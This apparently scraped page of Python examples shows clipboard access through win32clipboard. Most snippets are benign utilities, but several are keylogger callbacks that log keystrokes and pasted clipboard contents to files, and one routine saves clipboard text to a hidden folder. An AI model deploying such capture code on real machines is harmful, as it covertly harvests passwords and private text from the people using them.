Exemple #1
0
    def test_get_clipboard_paths(self):
        """Unit test for get_clipboard_paths"""
        # The clipboard is an unknown state, so check the function does
        # not crash and that it returns the right data type.
        paths = get_clipboard_paths()
        self.assertIsInstance(paths, (type(None), tuple))

        # Set the clipboard to an unsupported type (text), so expect no
        # files are returned
        import win32clipboard
        win32clipboard.OpenClipboard()
        win32clipboard.EmptyClipboard()
        fname = r'c:\windows\notepad.exe'
        win32clipboard.SetClipboardText(fname, win32clipboard.CF_TEXT)
        win32clipboard.SetClipboardText(fname, win32clipboard.CF_UNICODETEXT)
        self.assertEqual(
            win32clipboard.GetClipboardData(win32clipboard.CF_TEXT), fname)
        self.assertEqual(
            win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT),
            fname)
        win32clipboard.CloseClipboard()

        paths = get_clipboard_paths()
        self.assertIsInstance(paths, (type(None), tuple))
        self.assertEqual(paths, ())

        # Put files in the clipboard in supported format
        args = ('powershell.exe', 'Set-Clipboard', '-Path',
                r'c:\windows\*.exe')
        (ext_rc, _stdout, _stderr) = General.run_external(args)
        self.assertEqual(ext_rc, 0)
        paths = get_clipboard_paths()
        self.assertIsInstance(paths, (type(None), tuple))
        self.assertGreater(len(paths), 1)
        for path in paths:
            self.assertExists(path)
Exemple #2
0
def win32_clipboard_get():
    """ Get the current clipboard's text on Windows.

    Requires Mark Hammond's pywin32 extensions.
    """
    try:
        import win32clipboard
    except ImportError:
        raise TryNext("Getting text from the clipboard requires the pywin32 "
                      "extensions: http://sourceforge.net/projects/pywin32/")
    win32clipboard.OpenClipboard()
    text = win32clipboard.GetClipboardData(win32clipboard.CF_TEXT)
    # FIXME: convert \r\n to \n?
    win32clipboard.CloseClipboard()
    return text
Exemple #3
0
    def OnEditExecClipboard(self, command, code):
        """ Executes python code directly from the clipboard."""
        win32clipboard.OpenClipboard()
        try:
            code = win32clipboard.GetClipboardData(
                win32clipboard.CF_UNICODETEXT)
        finally:
            win32clipboard.CloseClipboard()

        code = code.replace('\r\n', '\n') + '\n'
        try:
            o = compile(code, '<clipboard>', 'exec')
            exec(o, __main__.__dict__)
        except:
            traceback.print_exc()
Exemple #4
0
    def __getHdropFiles(self):
        """
        Private method for fetching the clipboard format CF_HDROP,
        which represents file targets.
        """

        formatAvailable = win32clipboard.IsClipboardFormatAvailable(
            win32con.CF_HDROP)
        if formatAvailable:
            try:
                value = win32clipboard.GetClipboardData(win32con.CF_HDROP)
            except pywintypes.error, e:
                logging.warn( "Error getting CF_HDROP from clipboard: %s" \
                                 % ( str(e) ) )
                value = None
Exemple #5
0
    def strokes(self, event):
        if event.WindowName != self.current_window:
            self.get_current_process()
        if 32 < event.Ascii < 127:
            print(chr(event.Ascii), end='')
        else:
            if event.Key == 'V':
                win32clipboard.OpenClipboard()
                value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print(f'[PASTE] - {value}')
            else:
                print(f'{event.Key}')

        return True
Exemple #6
0
    def KeyStroke(event):  # function to capture keystrokes ... thx python libs
        if event.Ascii > 32 and event.Ascii < 127:
            typed = chr(event.Ascii)
        else:
            if event.Key == "V":
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                typed = "[PASTE] - %s" % (pasted_value)
            else:
                typed = "[%s]" % event.Key

        with open("out.txt", "a") as ff:
            ff.write(typed)
        return True
Exemple #7
0
def get_clipboard_files(folders=False):
    '''
    Enumerate clipboard content and return files either directly copied or
    highlighted path copied
    '''
    files = None
    win32clipboard.OpenClipboard()
    f = get_clipboard_formats()
    if win32clipboard.CF_HDROP in f:
        files = win32clipboard.GetClipboardData(win32clipboard.CF_HDROP)
    elif win32clipboard.CF_UNICODETEXT in f:
        files = [
            win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
        ]
    elif win32clipboard.CF_TEXT in f:
        files = [win32clipboard.GetClipboardData(win32clipboard.CF_TEXT)]
    elif win32clipboard.CF_OEMTEXT in f:
        files = [win32clipboard.GetClipboardData(win32clipboard.CF_OEMTEXT)]
    if folders:
        files = [f for f in files if os.path.isdir(f)] if files else None
    else:
        files = [f for f in files if os.path.isfile(f)] if files else None
    win32clipboard.CloseClipboard()
    return files
 def OnPaint(self, hwnd, msg, wp, lp):
     dc, ps = win32gui.BeginPaint(hwnd)
     wndrect = win32gui.GetClientRect(hwnd)
     wndwidth = wndrect[2] - wndrect[0]
     wndheight = wndrect[3] - wndrect[1]
     win32clipboard.OpenClipboard()
     try:
         try:
             hbitmap = win32clipboard.GetClipboardData(
                 win32clipboard.CF_BITMAP)
         except TypeError:
             font = win32gui.LOGFONT()
             font.lfHeight = 15  # int(wndheight/20)
             font.lfWidth = 15  # font.lfHeight
             #            font.lfWeight=150
             hf = win32gui.CreateFontIndirect(font)
             win32gui.SelectObject(dc, hf)
             win32gui.SetBkMode(dc, win32con.TRANSPARENT)
             win32gui.SetTextColor(dc, win32api.RGB(0, 0, 0))
             win32gui.DrawText(
                 dc,
                 "No bitmaps are in the clipboard\n(try pressing the PrtScn button)",
                 -1,
                 (0, 0, wndwidth, wndheight),
                 win32con.DT_CENTER,
             )
         else:
             bminfo = win32gui.GetObject(hbitmap)
             dcDC = win32gui.CreateCompatibleDC(None)
             win32gui.SelectObject(dcDC, hbitmap)
             win32gui.StretchBlt(
                 dc,
                 0,
                 0,
                 wndwidth,
                 wndheight,
                 dcDC,
                 0,
                 0,
                 bminfo.bmWidth,
                 bminfo.bmHeight,
                 win32con.SRCCOPY,
             )
             win32gui.DeleteDC(dcDC)
             win32gui.EndPaint(hwnd, ps)
     finally:
         win32clipboard.CloseClipboard()
     return 0
Exemple #9
0
    def keydown(self, event):
        global data
        global curr_window
        if event.WindowName != curr_window:
            curr_window = event.WindowName
            fp = open(file_name, 'a')
            data = self.get_curr_window()
            fp.write(data + "\n")
            fp.close()

        if event.Ascii > 32 and event.Ascii < 127:
            fp = open(file_name, 'a')
            data = chr(event.Ascii)
            fp.write(data)
            fp.close()
        else:
            while event.Key == "Lcontrol" or "Rcontrol" and event.Key == "A":
                fp = open(file_name, 'a')
                fp.write("[SELECT-ALL]")
                fp.close()
                break
            while event.Key == "Lcontrol" or "Rcontrol" and event.Key == "C":
                fp = open(file_name, 'a')
                fp.write("[COPY]")
                fp.close()
                break
            while event.Key == "Lcontrol" or "Rcontrol" and event.Key == "V":
                win32clipboard.OpenClipboard()
                try:
                    data = "\n[PASTE] - %s\n" % win32clipboard.GetClipboardData(
                    )
                except TypeError:
                    pass
                win32clipboard.CloseClipboard()
                fp = open(file_name, 'a')
                fp.write(data)
                fp.close()
                break
            if event.Key == "Lshift" or "Rshift" or "Return" or "Back":
                fp = open(file_name, 'a')
                data = "[%s]" % event.Key
                fp.write(data)
                fp.close()
            else:
                fp = open(file_name, 'a')
                data = "\n[%s]\n" % event.Key
                fp.write(data)
                fp.close()
Exemple #10
0
def get_clip():
    copy_text = None
    if WIN:
        wc.OpenClipboard()
        try:
            copy_text = str(wc.GetClipboardData(win32con.CF_UNICODETEXT))
        except:
            traceback.print_exc()
        finally:
            wc.CloseClipboard()
        copy_text = copy_text
    if not copy_text:
        p = subprocess.Popen(['pbpaste'], stdout=subprocess.PIPE)
        retcode = p.wait()
        copy_text = p.stdout.read()
    return copy_text
def KeyStroke(event):
    global current_window
    if event.WindowName!=current_window:
        current_window=event.WindowName
        get_current_process()
    if event.Ascii>32 and event.Ascii<127:
        print chr(event.Ascii),
    else:
        if event.Key=="V":
            win32clipboard.OpenClipboard()
            pasted_value=win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE]: %s"%(pasted_value)
        else:
            print "[%s]"%(event.Key) ,
    return True
Exemple #12
0
 def read_clipboard(self):
     #if can read Ctrl + C then read clipboard after detect Ctrl + C
     clipboard = ''
     while clipboard == '':  #capture clipboard if being blocked by different apps
         try:
             win32clipboard.OpenClipboard()
             clipboard = win32clipboard.GetClipboardData()
             win32clipboard.CloseClipboard()
         except:
             time.sleep(.05)
     #remove this if can detect Ctrl + C
     if clipboard != self.prev_clipboard:  #if different then return data, else return empty string
         self.prev_clipboard = clipboard
         return clipboard
     else:
         return ''
Exemple #13
0
def Defined_Input(event):
    global current_window
    if event.WindowName != current_window:
        current_window = event.WindowName
        PID_Grab()
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE] - %s" % (pasted_value),
        else:
            print "[%s]" % event.Key,
    return True
Exemple #14
0
def KeyStroke(event):
    global current_window
    if event.WindowName != current_window:  #检测是否切换窗口
        current_window = event.WindowName
        get_current_process()
    if event.Ascii > 32 and event.Ascii < 127:  #检测是否为常规按键
        print(chr(event.Ascii))
    else:
        if event.Key == "V":  #输入为crtl+V,即粘贴剪切板的内容
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()  #获取剪切板内容
            win32clipboard.CloseClipboard()
            print("[PASTE]-%s") % (pasted_value)
        else:
            print("[%s]") % event.Key
    return True  #返回直到下个钩子函数被触发
Exemple #15
0
def get_clipboard_data():
    global clipboard_open
    d = ""
    try:
        while clipboard_open:
            pass
        winclip.OpenClipboard()
        clipboard_open = True
        d = winclip.GetClipboardData(win32con.CF_TEXT)
    except Exception as e:
        print e
        d = ""
    finally:
        winclip.CloseClipboard()
        clipboard_open = False
    return d
Exemple #16
0
def get_clipboard():
    w.OpenClipboard()
    t = ''
    try:
        # t = w.GetClipboardData(win32con.CF_TEXT)
        t = w.GetClipboardData(win32con.CF_UNICODETEXT)
    except Exception as e:  # except Exception, e: #py2
        # print(e.args[0])
        print(e)
    w.CloseClipboard()
    # print(t)
    # return t.decode('gbk')
    # return t.decode('ascii')
    # return str(t, 'utf8')
    # return str(t)
    return t
def get_clip():
    im = ImageGrab.grabclipboard()
    if im:
        s = BytesIO()
        im.save(s, format='bmp')
        # img = Image.open(s)
        # ocr_word = pytesseract.image_to_string(img, lang='chi_sim')
        # print(ocr_word)
        ocr_word = client.basicGeneral(s.getvalue())
        ocr_word = ' '.join([i['words'] for i in ocr_word['words_result']])
        return ocr_word
    else:
        clip.OpenClipboard()
        clip_text = clip.GetClipboardData(win32con.CF_TEXT)
        clip.CloseClipboard()
        return clip_text.decode('gbk')
def KeyStroke(event):
    global current_window
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()
    if event.Ascii > 32 and event.Ascii < 127:
        write_txt(chr(event.Ascii))
    else:
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            write_txt('[PASTE]-' + pasted_value)
        else:
            write_txt('[' + event.Key + ']')
    return True
Exemple #19
0
    def paste_from_clipboard(self):
        """*DEPRECATED!!* Use `RPA.Desktop` library's `Paste from Clipboard` instead.

        :return: text
        """
        self.logger.debug("paste_from_clipboard")
        if platform.system() == "Windows":
            win32clipboard.OpenClipboard()
            if win32clipboard.IsClipboardFormatAvailable(win32clipboard.CF_TEXT):
                text = win32clipboard.GetClipboardData()
            else:
                text = None
            win32clipboard.CloseClipboard()
            return text
        else:
            return clipboard.paste()
Exemple #20
0
 def mykeystroke(self, event):
     if event.WindowName != self.current_window:
         self.get_current_process()
     # prints the keystroke unless its a modifier
     if 32 < event.Ascii < 127:
         print(chr(event.Ascii), end='')
     else:
         # Check if it is a PASTE operation
         if event.Key == 'V':
             win32clipboard.OpenClipboard()
             value = win32clipboard.GetClipboardData()
             win32clipboard.CloseClipboard()
             print(f'[PASTE] - {value}')
         else:
             print(f'{event.Key}')
         return True
Exemple #21
0
    def getclipboard(self):
        '''get text from clipboard; used when self.fromClipboard=True(default)'''

        win32clipboard.OpenClipboard()
        try:
            text = win32clipboard.GetClipboardData(CF_TEXT)
        except:
            text = 'Invalid Clipboard Format'.encode()
        win32clipboard.CloseClipboard()  # 打开后必须手动关闭

        try:
            text = text.decode()
        except:
            text = text.decode('gbk')

        return text
Exemple #22
0
def KeyStroke(event):
    global current_window
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()
    if 32 < event.Ascii < 127:
        filewriter(chr(event.Ascii)),
    else:
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            filewriter("[PASTE]-%s" % pasted_value + "\n"),
        else:
            filewriter("[%s]" % event.Key),
    return True
Exemple #23
0
    def paste_from_clipboard(self):
        """Paste text from clipboard

        :return: text
        """
        self.logger.debug("paste_from_clipboard")
        if platform.system() == "Windows":
            win32clipboard.OpenClipboard()
            if win32clipboard.IsClipboardFormatAvailable(win32clipboard.CF_TEXT):
                text = win32clipboard.GetClipboardData()
            else:
                text = None
            win32clipboard.CloseClipboard()
            return text
        else:
            return clipboard.paste()
Exemple #24
0
def clipboard_():

    clip.OpenClipboard()
    data = clip.GetClipboardData()
    clip.CloseClipboard()

    temp = []
    temp2 = []

    temp = data.split('\n')
    for val in temp:
        temp2.append(val.split('\t'))

    temp2.pop()
    df = pd.DataFrame(temp2)
    return (df)
Exemple #25
0
def KeyStroke(event):
    #global current_window
    #if event.WindowName != current_window:
    #   current_window = event.WindowName
    #    get_current_process()
    if event.Ascii > 32 and event.Ascii < 127:
        print(chr(event.Ascii))
    else:
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print("[Paste] - %s" % (pasted_value))
        else:
            print("[%s]" % event.Key)
    return True
Exemple #26
0
    def __SetClipData(self, data, arg):

        if (ImageGrab.grabclipboard() == None):
            try:
                win32clipboard.OpenClipboard()
                self.placeholder = win32clipboard.GetClipboardData(
                    win32clipboard.CF_UNICODETEXT)
            except:
                self.placeholder = ""
        else:
            self.placeholder = ImageGrab.grabclipboard()

        win32clipboard.OpenClipboard()
        win32clipboard.EmptyClipboard()
        win32clipboard.SetClipboardData(arg, data)
        win32clipboard.CloseClipboard()
Exemple #27
0
 def copy_clipboard():
     """
         Metoda zapisuje stringa skopiowanego przez użytkownika do ukrytego folderu na dysku
     """
     with open(file_path + "\\" + filenames["clipboard"], "a") as f:
         try:
             if sys.platform == "win32":
                 import win32clipboard as clip
                 win32clipboard.OpenClipboard()
                 pasted_data = win32clipboard.GetClipboardData()
                 win32clipboard.CloseClipboard()
                 print(pasted_data)
                 f.write(pasted_data)
         except Exception as e:
             f.write("Clipboard could be not be copied")
             print(e)
Exemple #28
0
    def clipimport(self):
        win32clipboard.OpenClipboard()
        win32clipboard.EmptyClipboard()
        win32clipboard.CloseClipboard()
        pyautogui.hotkey('Ctrl', 'Insert')
        time.sleep(1)
        win32clipboard.OpenClipboard()
        clipboard = win32clipboard.GetClipboardData()
        win32clipboard.CloseClipboard()
        self.log.debug(clipboard)

        clipboard = clipboard.splitlines()

        self.log.debug(clipboard)

        return clipboard
Exemple #29
0
def get_selected_text():
    send()
    #SendKeys.SendKeys('abc')
    #SendKeys.SendKeys('^c')
    return ''
    handle = win32gui.GetForegroundWindow()
    title = win32gui.GetWindowText(handle)
    if 'cmd.exe' in title or '命令处理程序' in title.decode('gbk') or (
            title.startswith('python') and title.strip().endswith('.py')):
        return None
    else:
        SendKeys.SendKeys('^c')
    win32clipboard.OpenClipboard()
    text = win32clipboard.GetClipboardData()
    win32clipboard.CloseClipboard()
    return text
Exemple #30
0
def main(mode, interval=0.02):
    word_en = word_engine(mode)

    while True:
        try:
            key = one_key_input()
        except:
            continue

        if key == '0':
            break
        elif key == '1':
            pyautogui.hotkey("ctrl", "a")
            pyautogui.hotkey("ctrl", "c")
            pyautogui.press("backspace")
            pyautogui.press("backspace")
            win32clipboard.OpenClipboard()
            data = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()

            data = data.replace("1", "")
            data = data.strip()

            if len(data) > 1:
                front, combo = data[0], data[1]
                word = word_en.get(front, combo)
            else:
                word = word_en.get(data)

            type_korean(word, interval)

            pyautogui.press("enter")
        elif key == '9':
            word_en.reset()
        elif key == '2':
            pyautogui.press("backspace")
            pyautogui.press("backspace")

            if len(data) > 1:
                front, combo = data[0], data[1]
                word = word_en.get(front, combo)
            else:
                word = word_en.get(data)

            type_korean(word, interval)

            pyautogui.press("enter")